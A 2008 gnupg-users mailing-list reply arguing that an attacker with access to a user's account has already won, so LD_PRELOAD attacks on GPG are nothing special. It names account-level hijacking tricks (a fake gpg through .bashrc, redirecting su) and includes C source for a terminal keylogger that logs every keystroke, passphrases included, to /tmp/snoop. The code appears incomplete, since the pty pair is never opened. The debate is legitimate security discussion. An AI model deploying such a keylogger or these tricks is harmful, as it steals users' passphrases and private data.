On Wed, Jun 11, 2008 at 04:31:45PM -0400, michael graffam wrote:
> On Wed, Jun 11, 2008 at 3:56 PM, David Shaw <[EMAIL PROTECTED]> wrote:
> 
> > If the attacker had access to your machine to implement the LD_PRELOAD
> > attack, there are literally dozens of ways they can similarly steal
> > whatever data they are trying to steal.  Why do a very complex attack
> > involving replacing libraries when they could just replace the GPG
> > binary itself?
> 
> 
> Replacing the GPG bin requires root. An LD_PRELOAD'ed lib doesn't.

Try it.  I don't have to replace it for everyone - just you, and if I
can write to your computer, I can make you run any binary I want.
Remember, you own your own shell .rc file.

>  Or add a shell script named 'gpg' and put it in your
> > search path ahead of the real gpg?
> 
> 
> Again,  root.

Again, .bashrc.

> > Or turn on typescript by default.
> 
> 
> Doesn't save GPG passphrases.

Why would I care about getting your passphrase if I can get everything
you typed into the message before it was encrypted?

Still, just for laughs, here's a hack that will save everything typed
on a particular terminal, including passphrases (real error checking
and proper handling of sigchld left up to the reader):

#include <stdio.h>
#include <pty.h>
#include <unistd.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int
main(int argc,char *argv[])
{
  int master,slave,snoop;
  pid_t pid;
  char byte;
  
  snoop=open("/tmp/snoop",O_WRONLY|O_CREAT|O_TRUNC,0666);

  pid=fork();
  if(pid)
    {
      struct termios term;

      tcgetattr(0,&term);
      cfmakeraw(&term);
      term.c_lflag&=~ECHO;
      tcsetattr(0,TCSAFLUSH,&term);
      close(slave);

      for(;;)
        {
          if(read(0,&byte,1)==1)
            {
              write(master,&byte,1);
              write(snoop,&byte,1);
            }
        }
    }
  else
    {
      pid=fork();
      if(pid)
        {
          close(slave);
          for(;;)
            {
              if(read(master,&byte,1)==1)
                write(1,&byte,1);
            }
        }
      else
        {
          setsid();
          close(master);
          dup2(slave,0);
          dup2(slave,1);
          dup2(slave,2);
          close(slave);
      
          execl("/bin/bash","/bin/bash","-i",NULL);
        }
    }

  return 0;
}

> > Or load a kernel module that changes the meaning of system calls.  Or
> > replace the rng with one that isn't random.  Or, or, or.
> 
> 
> Root, root, root.

Do you seriously think that someone who can write to your user-level
account can't get root pretty soon?  This can be as complex as reading
bugtraq for a while until a buffer overrun comes along, or as simple
as arranging for "su" to go somewhere else.

> Get it yet? LD_PRELOAD enables attacks against GPG w/o requiring full access
> to the box. The attacker just need access to the user's account.

I do get it.  I'm not convinced that you do.

If an attacker has access to the user's account, it's game over.  At
that point, it's just a question which particular method the attacker
will choose to completely own you.

David

_______________________________________________
Gnupg-users mailing list
Gnupg-users@gnupg.org
http://lists.gnupg.org/mailman/listinfo/gnupg-users

Reply via email to